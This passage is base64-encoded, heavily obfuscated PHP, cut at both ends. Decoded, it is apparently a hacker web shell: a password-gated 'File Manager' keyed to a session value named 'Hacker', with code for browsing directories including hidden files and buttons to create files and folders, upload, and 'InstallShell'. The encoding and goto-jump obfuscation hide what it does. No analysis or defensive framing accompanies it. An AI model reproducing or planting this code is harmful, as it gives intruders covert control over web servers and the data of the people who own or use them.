lSW5mbywgJGZpbGUpOyBmaW5mb19jbG9zZSgkZmlsZUluZm8pOyAkdHlwZSA9IGV4cGxvZGUoIlw1NyIsICRtaW1lVHlwZSk7IH0gZWxzZSB7ICRleHRlbnNpb24gPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlLCBQQVRISU5GT19FWFRFTlNJT04pKTsgJGV4dGVuc2lvbk1hcCA9IGFycmF5KCJcMTY0XDE3MFx4NzQiID0+ICJceDc0XDE0NVx4NzhceDc0XDU3XDE2MFwxNTRceDYxXHg2OVwxNTYiLCAiXHg2OFwxNjRcMTU1IiA9PiAiXHg3NFx4NjVceDc4XHg3NFx4MmZceDY4XDE2NFx4NmRcMTU0IiwgIlwxNTBceDc0XDE1NVx4NmMiID0+ICJcMTY0XDE0NVx4NzhceDc0XDU3XDE1MFwxNjRceDZkXDE1NCIsICJcMTYwXDE1MFwxNjAiID0+ICJcMTY0XHg2NVwxNzBcMTY0XHgyZlx4NzhcNTVceDcwXDE1MFx4NzAiLCAiXDE0M1x4NzNceDczIiA9PiAiXDE2NFwxNDVcMTcwXHg3NFw1N1wxNDNceDczXHg3MyIsICJceDZhXHg3MyIgPT4gIlx4NjFceDcwXDE2MFwxNTRceDY5XDE0M1x4NjFcMTY0XHg2OVwxNTdceDZlXDU3XHg2YVwxNDFcMTY2XHg2MVx4NzNcMTQzXDE2MlwxNTFcMTYwXDE2NCIsICJceDZhXDE2M1wxNTdceDZlIiA9PiAiXDE0MVwxNjBceDcwXDE1NFwxNTFceDYzXHg2MVx4NzRceDY5XHg2ZlwxNTZcNTdcMTUyXDE2M1wxNTdcMTU2IiwgIlx4NzhceDZkXHg2YyIgPT4gIlwxNDFcMTYwXHg3MFx4NmNcMTUxXDE0M1wxNDFcMTY0XDE1MVx4NmZcMTU2XDU3XDE3MFwxNTVceDZjIiwgIlwxNTJcMTYwXHg2NyIgPT4gIlwxNTFceDZkXHg2MVwxNDdceDY1XDU3XHg2YVwxNjBceDY1XDE0NyIsICJcMTUyXHg3MFx4NjVcMTQ3IiA9PiAiXHg2OVwxNTVceDYxXHg2N1wxNDVcNTdceDZhXHg3MFx4NjVceDY3IiwgIlwxNjBceDZlXHg2NyIgPT4gIlwxNTFceDZkXDE0MVwxNDdcMTQ1XHgyZlwxNjBceDZlXHg2NyIsICJcMTQ3XHg2OVwxNDYiID0+ICJcMTUxXDE1NVwxNDFcMTQ3XDE0NVw1N1wxNDdceDY5XHg2NiIsICJcMTY3XHg2NVx4NjJcMTYwIiA9PiAiXHg2OVwxNTVceDYxXHg2N1x4NjVcNTdceDc3XDE0NVwxNDJcMTYwIiwgIlwxNjNceDc2XDE0NyIgPT4gIlwxNTFceDZkXDE0MVwxNDdceDY1XHgyZlwxNjNceDc2XDE0N1w1M1wxNzBceDZkXHg2YyIsICJceDZkXHg3MFw2NCIgPT4gIlwxNjZceDY5XHg2NFx4NjVceDZmXDU3XDE1NVwxNjBceDM0IiwgIlx4NmRceDZiXDE2NiIgPT4gIlx4NzZcMTUxXDE0NFx4NjVcMTU3XHgyZlwxNzBceDJkXHg2ZFwxNDFceDc0XDE2Mlx4NmZcMTYzXHg2Ylx4NjEiLCAiXDE1NVwxNjBcNjMiID0+ICJcMTQxXDE2NVx4NjRceDY5XDE1N1x4MmZcMTU1XHg3MFwxNDVceDY3IiwgIlx4NzdcMTQxXHg3NiIgPT4gIlx4NjFceDc1XHg2NFwxNTFcMTU3XHgyZlx4NzdcMTQxXHg3NiIsICJcMTQxXHg2OVx4NjZcMTQ2IiA9PiAiXHg2MVwxNjVceDY0XHg2OVx4NmZcNTdcMTQxXHg2OVwxNDZceDY2IiwgIlwxNzJceDY5XHg3MCIgPT4gIlwxNDFceDcwXHg3MFwxNTRcMTUxXDE0M1wxNDFceDc0XHg2OVwxNTdcMTU2XDU3XDE3Mlx4NjlceDcwIiwgIlx4NzJceDYxXDE2MiIgPT4gIlx4NjFcMTYwXHg3MFx4NmNcMTUxXHg2M1wxNDFceDc0XHg2OVwxNTdceDZlXHgyZlwxNzBcNTVceDcyXDE0MVwxNjJcNTVcMTQzXHg2ZlwxNTVceDcwXHg3Mlx4NjVcMTYzXHg3M1x4NjVceDY0Iik7ICRtaW1lVHlwZSA9ICRleHRlbnNpb25NYXBbJGV4dGVuc2lvbl0gPz8gIlx4NjFceDcwXDE2MFwxNTRcMTUxXDE0M1x4NjFceDc0XHg2OVx4NmZceDZlXDU3XHg2Zlx4NjNceDc0XDE0NVx4NzRceDJkXHg3M1x4NzRcMTYyXHg2NVx4NjFceDZkIjsgJHR5cGUgPSBleHBsb2RlKCJcNTciLCAkbWltZVR5cGUpOyB9IHN3aXRjaCAoJHR5cGVbMF0pIHsgY2FzZSAiXHg2OVwxNTVcMTQxXHg2N1wxNDUiOiAkcmVzdWx0WyJcMTY0XDE3MVwxNjBceDY1Il0gPSAiXHg2OVx4NmRcMTQxXDE0N1wxNDUiOyBicmVhazsgY2FzZSAiXDE2NlwxNTFcMTQ0XHg2NVx4NmYiOiAkcmVzdWx0WyJceDc0XHg3OVwxNjBceDY1Il0gPSAiXDE2NlwxNTFceDY0XDE0NVwxNTciOyBicmVhazsgY2FzZSAiXHg2MVwxNjVcMTQ0XDE1MVx4NmYiOiAkcmVzdWx0WyJcMTY0XDE3MVwxNjBcMTQ1Il0gPSAiXDE0MVx4NzVceDY0XHg2OVx4NmYiOyBicmVhazsgY2FzZSAiXDE2NFwxNDVcMTcwXHg3NCI6ICRyZXN1bHRbIlwxNjRcMTcxXDE2MFx4NjUiXSA9ICJcMTQxXDE0M1x4NjUiOyBicmVhazsgY2FzZSAiXDE1MVwxNTZcMTU3XDE0NFwxNDUiOiBjYXNlICJcMTQxXHg3MFx4NzBcMTU0XDE1MVx4NjNcMTQxXHg3NFx4NjlcMTU3XHg2ZSI6ICRyZXN1bHRbIlwxNjRceDc5XDE2MFx4NjUiXSA9ICR0eXBlWzFdID09PSAiXDE3Mlx4NjlceDcwIiA/ICJceDdhXDE1MVx4NzAiIDogIlwxNDFceDYzXHg2NSI7IGJyZWFrOyBkZWZhdWx0OiAkcmVzdWx0WyJcMTY0XHg3OVx4NzBcMTQ1Il0gPSAkdHlwZVswXTsgYnJlYWs7IH0gJHJlc3VsdFsiXHg2OVwxNTZceDY2XHg2ZiJdID0gJHR5cGVbMF07IHJldHVybiAkcmVzdWx0OyB9IGdvdG8gWWNVWWM7IFljVVljOiBmdW5jdGlvbiB0eXBlQWNlRmlsZSgkbmFtZSkgeyAkaWR4ID0gZXhwbG9kZSgiXHgyZSIsICRuYW1lKTsgJGNvdW50RXhwbG9kZSA9IGNvdW50KCRpZHgpOyAkaWR4ID0gc3RydG9sb3dlcigkaWR4WyRjb3VudEV4cGxvZGUgLSAxXSk7ICRtaW1ldCA9IGFycmF5KCJceDc0XDE3MFx4NzQiID0+ICJcMTY0XDE0NVwxNzBceDc0IiwgIlx4NjhceDc0XDE1NSIgPT4gIlx4NjhcMTY0XHg2ZFwxNTQiLCAiXDE1MFwxNjRcMTU1XDE1NCIgPT4gIlx4NjhcMTY0XDE1NVx4NmMiLCAiXHg3MFx4NjhceDcwIiA9PiAiXDE2MFx4NjhceDcwIiwgIlwxNDNcMTYzXHg3MyIgPT4gIlwxNDNcMTYzXDE2MyIsICJcMTUyXHg3MyIgPT4gIlx4NmFcMTQxXHg3Nlx4NjFcMTYzXDE0M1wxNjJcMTUxXHg3MFwxNjQiLCAiXDE1MlwxNjNceDZmXDE1NiIgPT4gIlwxNTJceDczXHg2ZlwxNTYiLCAiXHg3OFx4NmRceDZjIiA9PiAiXHg3OFx4NmRceDZjIiwgIlx4NmRceDc4XDE1NVwxNTQiID0+ICJceDc4XDE1NVx4NmMiLCAiXHg3MFwxNzEiID0+ICJcMTYwXHg3OVwxNjRceDY4XHg2ZlwxNTYiLCAiXDE2M1x4NjgiID0+ICJcMTYzXDE1MCIsICJceDZhXDE0MVx4NzZcMTQxIiA9PiAiXDE1MlwxNDFceDc2XHg2MSIpOyBpZiAoaXNzZXQoJG1pbWV0WyRpZHhdKSkgeyByZXR1cm4gJG1pbWV0WyRpZHhdOyB9IGVsc2UgeyByZXR1cm4gIlwxNjRceDY1XHg3OFwxNjQiOyB9IH0gZ290byBHS2ZkODsgcll4X0k6IGZ1bmN0aW9uIHNpemVGaWxlKCRmaWxlKSB7IHJldHVybiBzaXplRm9ybWF0KGZpbGVzaXplKCRmaWxlKSk7IH0gZ290byBqcHJFcjsgU0VDdTk6ICRIYWNrZXIgPSAiXDE1NVwxNTdcMTY0XDE1MFwxNDVcMTYyIjsgZ290byBjTGNiODsganByRXI6IGZ1bmN0aW9uIGNobW9kRm9sZGVyKCRmb2xkZXIpIHsgcmV0dXJuIHN1YnN0cihzcHJpbnRmKCJceDI1XDE1NyIsIGZpbGVwZXJtcygkZm9sZGVyKSksIC00KTsgfSBnb3RvIFZJMmNLOyBDbHB4UDogaWYgKGlzc2V0KCRfUE9TVFsiXDE0NFwxNDFcMTY0XDE0MSJdKSkgeyAkbm9Mb2dpbiA9ICJcNzRcMTQ0XHg2OVwxNjZcNDBcMTQzXDE1NFwxNDFceDczXDE2M1x4M2RcNDJceDYyXDE1N1wxNzBceDIyXDc2XHgzY1x4NjhceDMxXHgyMFwxNDNceDZjXDE0MVwxNjNceDczXHgzZFw0MlwxNjRcMTUxXDE2NFwxNTRcMTQ1XDQyXHgzZVwxMDZcMTUxXHg2Y1x4NjVceDIwXHg0ZFwxNDFcMTU2XDE0MVx4NjdceDY1XDE2Mlx4M2NceDJmXDE1MFw2MVw3Nlx4M2NceDY0XHg2OVwxNjZcNDBcMTQzXDE1NFwxNDFceDczXDE2M1w3NVw0Mlx4NjlcMTU2XHg3MFwxNjVcMTY0XDQyXDQwXHg2OVwxNDRceDNkXHgyMlwxNjBcMTQxXHg3M1x4NzNcMTY3XDE1N1x4NzJcMTQ0XHgyMlx4M2VcNzRceDY0XDE1MVx4NzZceDIwXDE0M1wxNTRceDYxXDE2M1x4NzNcNzVceDIyXHg2OVx4NjNcMTU3XHg2ZVx4MjJceDNlXDc0XDE1MVx4MjBcMTQzXDE1NFx4NjFcMTYzXDE2M1x4M2RcNDJcMTQ2XHg2MVx4MmRcMTU0XHg2OVx4NjdceDY4XDE2NFx4MjBceDY2XDE0MVw1NVwxNjVceDczXDE0NVx4NzJcNTVceDYzXDE1N1x4NzdcMTQyXDE1N1wxNzFceDIyXHgzZVx4M2NcNTdcMTUxXDc2XHgzY1w1N1wxNDRceDY5XHg3Nlw3Nlw3NFx4NjlceDZlXHg3MFx4NzVceDc0XHgyMFwxNjRceDc5XDE2MFx4NjVcNzVcNDJcMTYwXDE0MVx4NzNceDczXDE2N1wxNTdcMTYyXHg2NFw0Mlx4MjBcMTUxXHg2NFw3NVw0Mlx4NjlcMTU2XHg3MFwxNjVcMTY0XDQyXDQwXHg3MFwxNTRcMTQxXHg2M1x4NjVcMTUwXDE1N1x4NmNcMTQ0XHg2NVwxNjJceDNkXDQyXHgyMFw0Mlx4M2VcNzRceDZjXHg2MVx4NjJcMTQ1XHg2Y1x4MjBceDY2XDE1N1wxNjJceDNkXHgyMlx4NjlceDZlXHg3MFwxNjVceDc0XHgyMlx4MjBcMTUxXDE0NFw3NVw0Mlx4NmNcMTQxXDE0Mlx4NjVceDZjXDQyXDc2XHg1MFx4NjFcMTYzXDE2M1wxNjdcMTU3XHg3Mlx4NjRceDNjXHgyZlx4NmNceDYxXHg2Mlx4NjVceDZjXHgzZVx4M2NceDczXDE2MFx4NjFcMTU2XDc2XHgzY1w1N1wxNjNcMTYwXHg2MVwxNTZcNzZcNzRcNTdceDY0XDE1MVx4NzZceDNlXHgzY1wxNDRceDY5XHg3Nlw0MFx4NjNceDZjXHg2MVwxNjNceDczXHgzZFw0MlwxNDJcMTY1XHg3NFx4NzRceDZmXHg2ZVw0Mlx4MjBceDY5XDE0NFw3NVw0Mlx4NmNcMTU3XHg2N1wxNTFceDZlXHgyMlw3Nlx4M2NceDY4XHgzMVw3Nlx4NGNceDZmXDE0N1x4NjlcMTU2XDQwXDExNlwxNTdceDc3XDc0XDU3XHg2OFx4MzFcNzZcNzRcNTdceDY0XHg2OVx4NzZcNzZcNzRceDJmXHg2NFwxNTFcMTY2XHgzZSI7IGlmICghaXNzZXQoJF9TRVNTSU9OWyJceDQ4XDE0MVwxNDNceDZiXDE0NVx4NzIiXSkpIHsgJHJlc3VsdFsiXDE0NFx4NjlcMTYyIl0gPSBmYWxzZTsgJHJlc3VsdFsiXDE2M1wxNjVcMTQzXDE0M1x4NjVcMTYzXHg3MyJdID0gdHJ1ZTsgJHJlc3VsdFsiXHg2OVx4NzNceDRjXDE1N1wxNDdcMTUxXHg2ZSJdID0gZmFsc2U7ICRyZXN1bHRbIlwxNTBcMTY0XHg2ZFwxNTQiXSA9ICRub0xvZ2luOyB9IGVsc2UgeyBpZiAoJF9TRVNTSU9OWyJceDQ4XDE0MVwxNDNcMTUzXDE0NVwxNjIiXSAhPSAkSGFja2VyKSB7ICRyZXN1bHRbIlx4NjRcMTUxXHg3MiJdID0gZmFsc2U7ICRyZXN1bHRbIlx4NzNcMTY1XHg2M1wxNDNceDY1XDE2M1wxNjMiXSA9IHRydWU7ICRyZXN1bHRbIlx4NjlcMTYzXHg0Y1x4NmZceDY3XDE1MVwxNTYiXSA9IGZhbHNlOyAkcmVzdWx0WyJcMTUwXDE2NFx4NmRcMTU0Il0gPSAkbm9Mb2dpbjsgfSBlbHNlIHsgJGRhdGEgPSAkX1BPU1RbIlx4NjRcMTQxXHg3NFwxNDEiXTsgaWYgKCRkYXRhID09ICJceDRjXHg2ZlwxNDFceDY0IikgeyAkcmVzdWx0WyJcMTYzXDE2NVwxNDNceDYzXDE0NVwxNjNcMTYzIl0gPSB0cnVlOyAkcmVzdWx0WyJceDY5XDE2M1wxMTRceDZmXHg2N1wxNTFcMTU2Il0gPSB0cnVlOyAkcmVzdWx0WyJceDY0XHg2OVx4NzIiXSA9IGdldEhvbWVEaXJlY3RvcnkoKTsgJHJlc3VsdFsiXHg2OFwxNjRceDZkXDE1NCJdID0gIlw3NFx4NjRceDY5XHg3Nlw0MFx4NjNceDZjXHg2MVx4NzNcMTYzXDc1XDQyXDE0NlwxNTFceDc4XDQyXHgzZVx4M2NceDY4XDYxXHgyMFwxNDNceDZjXHg2MVwxNjNceDczXHgzZFx4MjJcMTU3XHg3N1x4NmVcMTQ1XDE2Mlw0Mlx4M2VcMTA2XHg2OVx4NmNcMTQ1XDQwXDExNVx4NjFceDZlXHg2MVwxNDdcMTQ1XDE2Mlx4M2NceDJmXDE1MFw2MVx4M2VceDNjXDE0NFwxNTFcMTY2XHgyMFwxNDNcMTU0XHg2MVx4NzNceDczXHgzZFx4MjJcMTU2XHg2NVx4NzdcMTIzXHg2NVx4NmNceDZjXDQyXDc2XHgzY1wxNDRceDY5XDE2Nlx4MjBcMTQzXHg2Y1wxNDFceDczXDE2M1w3NVw0Mlx4NmVceDY1XHg3N1x4NTNceDY1XDE1NFwxNTRcMTM3XHg3NFx4NjlcMTY0XHg2Y1wxNDVcNDJcNDBcMTUxXHg2NFw3NVw0Mlx4NjRcMTUxXDE2Mlw0Mlw3Nlw1Nlx4MmZcNzRceDJmXHg2NFwxNTFcMTY2XHgzZVw3NFx4NjlceDIwXDE1MVwxNDRcNzVcNDJceDZmXHg3MFx4NjVceDZlXHg1M1x4NjVcMTU0XHg2Y1wxMzdcMTQyXDE2NFx4NmVcNDJceDIwXHg2M1wxNTRcMTQxXDE2M1wxNjNcNzVcNDJceDY2XHg2MVw1NVx4NmNceDY5XDE0N1x4NjhceDc0XHgyMFx4NjZcMTQxXHgyZFx4NzNcMTYxXHg3NVwxNDFcMTYyXDE0NVx4MmRcMTYwXHg2Y1x4NzVceDczXHgyMlw3Nlx4M2NceDJmXDE1MVx4M2VcNzRcMTQ0XDE1MVx4NzZceDIwXDE0M1x4NmNcMTQxXHg3M1wxNjNceDNkXHgyMlx4NmVcMTQ1XDE2N1x4NTNceDY1XDE1NFx4NmNceDVmXHg2MlwxNjRceDZlXHgyMlx4M2VceDIwXHgzY1wxNTFcNDBceDY5XDE0NFw3NVx4MjJceDQzXDE2MlwxNDVceDYxXHg3NFx4NjVceDQ2XDE1MVwxNTRcMTQ1XDQyXHgyMFwxNDNceDZjXHg2MVwxNjNcMTYzXDc1XHgyMlwxNDZceDYxXHgyZFx4NmNcMTUxXDE0N1wxNTBceDc0XHgyMFx4NjZceDYxXDU1XHg2Nlx4NjlcMTU0XHg2NVw1NVwxNjBceDZjXHg3NVx4NzNceDIyXHgzZVw3NFw1N1x4NjlcNzZceDNjXDE1MVx4MjBceDY5XHg2NFw3NVw0Mlx4NzVceDcwXHg2Y1wxNTdceDYxXHg2NFw0Mlx4MjBceDYzXDE1NFx4NjFceDczXDE2M1w3NVw0MlwxNDZcMTQxXHgyZFwxNTRceDY5XDE0N1x4NjhceDc0XDQwXDE0NlwxNDFcNTVcMTQ2XHg2OVwxNTRcMTQ1XDU1XDE0MVx4NzJcMTYyXDE1N1wxNjdceDJkXHg3NVwxNjBcNDJcNzZceDNjXHgyZlx4NjlcNzZcNzRceDY5XHgyMFwxNTFcMTQ0XHgzZFx4MjJceDQzXDE2MlwxNDVcMTQxXHg3NFx4NjVceDQ2XDE1N1x4NmNceDY0XHg2NVwxNjJceDIyXDQwXDE0M1x4NmNcMTQxXDE2M1x4NzNceDNkXHgyMlx4NjZceDYxXHgyZFx4NmNceDY5XHg2N1wxNTBcMTY0XHgyMFx4NjZceDYxXDU1XHg2NlwxNTdcMTU0XDE0NFwxNDVcMTYyXDU1XHg3MFwxNTRceDc1XDE2M1x4MjJcNzZcNzRceDJmXDE1MVx4M2VcNzRcMTUxXHgyMFx4NjlcMTQ0XDc1XDQyXHg0OVx4NmVcMTYzXHg3NFwxNDFcMTU0XDE1NFx4NTNceDY4XHg2NVwxNTRcMTU0XDQyXDQwXDE0M1x4NmNceDYxXHg3M1wxNjNceDNkXDQyXDE0Nlx4NjFceDJkXHg2Y1wxNTFcMTQ3XHg2OFwxNjRcNDBcMTQ2XHg2MVw1NVx4NzNceDY4XDE1MVwxNDVcMTU0XDE0NFx4MmRceDcwXHg2Y1wxNjVceDczXHgyMlx4M2VcNzRcNTdcMTUxXHgzZVx4M2NceDY5XHgyMFwxNTFcMTQ0XDc1XHgyMlx4NjNcMTU0XDE1N1x4NzNcMTQ1XHg1M1wxNDVceDZjXHg2Y1wxMzdceDYyXHg3NFx4NmVceDIyXDQwXDE0M1wxNTRceDYxXDE2M1x4NzNcNzVceDIyXHg2NlwxNDFceDJkXDE1NFwxNTFcMTQ3XHg2OFx4NzRceDIwXHg2NlwxNDFcNTVceDcyXDE0NVx4NjNceDc0XDE0MVx4NmVceDY3XHg2Y1x4NjVceDJkXHg3OFwxNTVceDYxXDE2Mlx4NmJcNDJceDNlXDc0XHgyZlwxNTFcNzZcNzRceDJmXDE0NFwxNTFcMTY2XDc2XDc0XDU3XDE0NFx4NjlcMTY2XHgzZVw3NFw1N1x4NjRceDY5XHg3Nlw3Nlx4M2NceDY0XDE1MVx4NzZcNDBcMTUxXHg2NFw3NVw0MlwxNDZcMTU3XDE1NFwxNDRcMTQ1XHg3Mlx4NzNceDIyXHgzZVw3NFw1N1wxNDRcMTUxXDE2Nlx4M2UiOyB9IGVsc2UgeyBpZiAoJGRhdGEgPT0gIlwxNTRceDZmXHg2MVwxNDRcMTA0XHg2OVx4NzIiKSB7ICRkaXIgPSAkX1BPU1RbIlx4NjRceDY5XHg3MiJdOyAkZXhwbG9kZURpciA9IGV4cGxvZGUoIlw1NyIsICRkaXIpOyAkaG9tZURpciA9IGdldEhvbWVEaXJlY3RvcnkoKTsgJG9wZW5EaXIgPSAkdGl0bGVEaXIgPSAkb3V0cHV0Rm9sZGVycyA9ICRvdXRwdXRGaWxlcyA9ICcnOyBmb3IgKCRpID0gMDsgJGkgPCBjb3VudCgkZXhwbG9kZURpcik7ICRpKyspIHsgaWYgKCRleHBsb2RlRGlyWyRpXSAhPSAnJykgeyAkb3BlbkRpciA9ICRvcGVuRGlyIC4gJGV4cGxvZGVEaXJbJGldIC4gIlx4MmYiOyAkdGl0bGVEaXIgPSAkdGl0bGVEaXIgLiAiXDc0XHg3M1wxNjBcMTQxXHg2ZVw0MFwxNTFceDY0XDc1XDQyXHg2Zlx4NzBcMTQ1XHg2ZVx4NDRcMTUxXDE2Mlx4MjJceDIwXHg3M1x4NzRceDc5XHg2Y1wxNDVceDNkXHgyMlwxNDNceDc1XHg3Mlx4NzNceDZmXHg3Mlw3Mlx4MjBcMTYwXHg2ZlwxNTFcMTU2XDE2NFx4NjVceDcyXDczXHgyMlx4MjBcMTQ0XHg2MVwxNjRceDYxXHgyZFwxNDRceDY5XDE2Mlx4M2RceDIyIiAuICRvcGVuRGlyIC4gIlx4MjJcNzYiIC4gJGV4cGxvZGVEaXJbJGldIC4gIlw3NFx4MmZcMTYzXDE2MFwxNDFcMTU2XHgzZVw1NyI7IH0gZWxzZSB7IGlmICgkaSA9PSAwKSB7ICRvcGVuRGlyID0gJHRpdGxlRGlyID0gIlw1NyI7IH0gfSB9IGlmICgkZXhwbG9kZURpclsxXSAhPSAnJykgeyAkdW5kb0RpciA9IGV4cGxvZGVMYXN0KCJcNTciLCAkZGlyKTsgJHVuZG9EaXIgPSBleHBsb2RlTGFzdCgiXDU3IiwgJHVuZG9EaXJbMF0pOyAkb3V0cHV0ID0gIlx4M2NceDY0XDE1MVx4NzZcNDBceDYzXDE1NFx4NjFceDczXDE2M1x4M2RceDIyXHg2Nlx4NmNcMTQ1XDE3MFw0Mlw3Nlx4M2NcMTQ0XHg2OVx4NzZceDIwXHg2M1wxNTRcMTQxXDE2M1x4NzNceDNkXHgyMlx4NjZceDZmXHg2Y1x4NjRcMTQ1XDE2MlwxNjNcNDJceDIwXDE1MVx4NjRcNzVcNDJceDZmXHg3MFwxNDVceDZlXDEwNFwxNTFcMTYyXHgyMlx4MjBceDY0XHg2MVwxNjRceDYxXHgyZFx4NjRceDY5XHg3Mlx4M2RcNDIiIC4gJHVuZG9EaXJbMF0gLiAiXDU3XHgyMlx4M2VcNTZceDJlXHgyZlx4M2NceDJmXHg2NFwxNTFcMTY2XDc2XHgzY1x4NjRcMTUxXDE2Nlx4MjBcMTQzXHg2Y1x4NjFceDczXDE2M1x4M2RceDIyXDE0NVx4NjRcMTUxXHg3NFwxMzdcMTQyXDE2NFx4NmVceDIyXDc2XDc0XHg2OVw0MFx4NjlcMTQ0XHgzZFw0MlwxNTdceDcwXHg2NVx4NmVcMTA0XHg2OVwxNjJcNDJceDIwXHg2NFx4NjFcMTY0XHg2MVw1NVx4NjRceDY5XDE2Mlw3NVw0MiIgLiAkaG9tZURpciAuICJceDIyXDQwXDE0M1wxNTRcMTQxXHg3M1wxNjNceDNkXDQyXDE0Nlx4NjFceDJkXHg2Y1wxNTFceDY3XHg2OFwxNjRcNDBceDY2XHg2MVx4MmRcMTUwXHg2Zlx4NzVceDczXHg2NVw0Mlw3Nlx4M2NcNTdcMTUxXHgzZVw3NFx4NjlcNDBcMTUxXDE0NFx4M2RcNDJcMTU3XHg3MFx4NjVceDZlXHg0NFwxNTFcMTYyXHgyMlx4MjBceDY0XHg2MVwxNjRcMTQxXDU1XDE0NFx4NjlceDcyXDc1XHgyMiIgLiAkZGlyIC4gIlw0Mlx4MjBcMTQzXDE1NFwxNDFcMTYzXHg3M1x4M2RceDIyXHg2NlwxNDFceDJkXHg2Y1x4NjlceDY3XHg2OFx4NzRceDIwXHg2Nlx4NjFceDJkXDE2MlwxNTdceDc0XHg2MVwxNjRceDY1XHgyZFx4NmNceDY1XDE0Nlx4NzRcNDJceDNlXDc0XHgyZlx4NjlcNzZceDNjXDU3XHg2NFwxNTFceDc2XDc2XHgzY1x4MmZcMTQ0XDE1MVwxNjZceDNlIjsgfSBlbHNlIHsgJG91dHB1dCA9ICJcNzRcMTQ0XHg2OVx4NzZceDIwXDE0M1wxNTRcMTQxXDE2M1wxNjNcNzVcNDJcMTQ2XDE1NFwxNDVceDc4XDQyXHgzZVx4M2NcMTQ0XDE1MVwxNjZcNDBcMTQzXDE1NFx4NjFcMTYzXDE2M1w3NVx4MjJceDY2XHg2ZlwxNTRceDY0XHg2NVx4NzJcMTYzXDQyXHgyMFwxNTFcMTQ0XHgzZFw0MlwxNTdcMTYwXHg2NVx4NmVceDQ0XHg2OVx4NzJcNDJcNDBcMTQ0XHg2MVwxNjRcMTQxXHgyZFx4NjRcMTUxXDE2Mlw3NVx4MjIiIC4gJGRpciAuICJcNDJceDNlXDU2XHgyZlw3NFw1N1x4NjRceDY5XDE2Nlx4M2VceDNjXDE0NFwxNTFcMTY2XDQwXDE0M1x4NmNcMTQxXDE2M1wxNjNceDNkXDQyXHg2NVwxNDRcMTUxXDE2NFwxMzdcMTQyXDE2NFwxNTZceDIyXHgzZVx4M2NceDY5XDQwXDE1MVwxNDRceDNkXDQyXHg2Zlx4NzBceDY1XDE1NlwxMDRcMTUxXHg3Mlx4MjJcNDBceDY0XDE0MVwxNjRcMTQxXHgyZFwxNDRceDY5XHg3Mlw3NVx4MjIiIC4gJGhvbWVEaXIgLiAiXHgyMlx4MjBceDYzXDE1NFwxNDFceDczXDE2M1x4M2RcNDJceDY2XHg2MVw1NVx4NmNcMTUxXDE0N1wxNTBcMTY0XDQwXHg2NlwxNDFceDJkXHg2OFwxNTdcMTY1XHg3M1wxNDVceDIyXHgzZVw3NFx4MmZcMTUxXDc2XHgzY1x4NjlceDIwXDE1MVx4NjRcNzVcNDJcMTU3XDE2MFwxNDVceDZlXDEwNFwxNTFceDcyXDQyXHgyMFx4NjRcMTQxXHg3NFx4NjFcNTVceDY0XHg2OVx4NzJcNzVcNDIiIC4gJGRpciAuICJceDIyXHgyMFwxNDNceDZjXHg2MVx4NzNcMTYzXHgzZFw0MlwxNDZcMTQxXDU1XDE1NFwxNTFceDY3XHg2OFx4NzRcNDBceDY2XHg2MVw1NVwxNjJceDZmXHg3NFwxNDFceDc0XHg2NVw1NVx4NmNceDY1XDE0Nlx4NzRcNDJcNzZceDNjXDU3XHg2OVx4M2VcNzRceDJmXHg2NFx4NjlceDc2XDc2XDc0XHgyZlx4NjRcMTUxXDE2Nlx4M2UiOyB9ICR2aXNpYmxlRmlsZXNGb2xkZXJzID0gZ2xvYigkZGlyIC4gIlx4MmEiLCBHTE9CX01BUkspOyAkaGlkZGVuRmlsZXNGb2xkZXJzID0gZ2xvYigkZGlyIC4gIlw1Nlx4MmEiLCBHTE9CX01BUkspOyAkZm9sZGVycyA9IGFycmF5X21lcmdlKCR2aXNpYmxlRmlsZXNGb2xkZXJzLCAkaGlkZGVuRmlsZXNGb2xkZXJzKTsgJGZvbGRlcnMgPSBhcnJheV9maWx0ZXIoJGZvbGRlcnMsIGZ1bmN0aW9uICgkZmlsZSkgeyByZXR1cm4gIWluX2FycmF5KGJhc2VuYW1lKCRmaWxlKSwgYXJyYXkoIlw1NiIsICJcNTZceDJlIikpOyB9KTsgdXNvcnQoJGZvbGRlcnMsIGZ1bmN0aW9uICgkYSwgJGIpIHsgcmV0dXJuIHN0cnRvbG93ZXIoYmFzZW5hbWUoJGEpKSA8PT4gc3RydG9sb3dlcihiYXNlbmFtZSgkYikpOyB9KTsgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGZvbGRlcikgeyAkcGF0aCA9ICRkaXIgLiBiYXNlbmFtZSgkZm9sZGVyKTsgaWYgKCRwYXRoICE9ICRtcjk5OXBsdXMpIHsgaWYgKGlzX2ZpbGUoJHBhdGgpKSB7ICRtaW1lVHlwZSA9IG1pbWVUeXBlKCRwYXRoKTsgJG91dHB1dEZpbGVzIC49ICJceDNjXDE0NFwxNTFcMTY2XDQwXHg2M1x4NmNcMTQxXDE2M1x4NzNceDNkXDQyXHg2NlwxNTRcMTQ1XDE3MFw0Mlx4M2VceDNjXDE0NFx4NjlcMTY2XHgyMFwxNDNceDZjXDE0MVx4NzNceDczXHgzZFw0MlwxNDZcMTU3XDE1NFwxNDRceDY1XHg3Mlx4NzNceDIyXHgyMFwxNTFceDY0XHgzZFx4MjJcMTU3XDE2MFwxNDVcMTU2XDEwNlx4NjlceDZjXDE0NVw0Mlx4MjBceDY0XDE0MVx4NzRcMTQxXHgyZFwxNTZceDYxXDE1NVwxNDVceDNkXHgyMiIgLiBiYXNlbmFtZSgkZm9sZGVyKSAuICJceDIyXDQwXHg2NFwxNDFcMTY0XHg2MVx4MmRceDc0XHg3OVx4NzBcMTQ1XHgzZFw0MiIgLiAkbWltZVR5cGVbIlx4NzRceDc5XDE2MFwxNDUiXSAuICJcNDJceDIwXDE0NFx4NjFcMTY0XDE0MVx4MmRceDY2XDE1MVx4NmNcMTQ1XHgzZFw0MiIgLiAkcGF0aCAuICJcNDJceDNlXHgzY1x4NjlcNDBceDYzXDE1NFwxNDFceDczXHg3M1w3NVx4MjJcMTQ2XDE0MVx4MmRceDZjXHg2OVwxNDdcMTUwXDE2NFw0MFwxNDZceDYxXHgyZFwxNDZcMTUxXDE1NFwxNDVcNDJcNzZcNzRcNTdceDY5XHgzZVx4MjAiIC4gYmFzZW5hbWUoJGZvbGRlcikgLiAiXHgzY1x4MmZcMTQ0XDE1MVx4NzZceDNlXDc0XDE0NFx4NjlcMTY2XDQwXDE0M1x4NmNceDYxXDE2M1x4NzNcNzVceDIyXDE0NFwxNDFceDc0XHg2NVw0Mlw3NiIgLiBkYXRlKCJceDY4XHgzYVwxNTFcNzJceDczXHgyMFwxNDFceDIwXDE0NFw1N1wxNTVceDJmXDEzMSIsIGZpbGVtdGltZSgkcGF0aCkpIC4gIlw3NF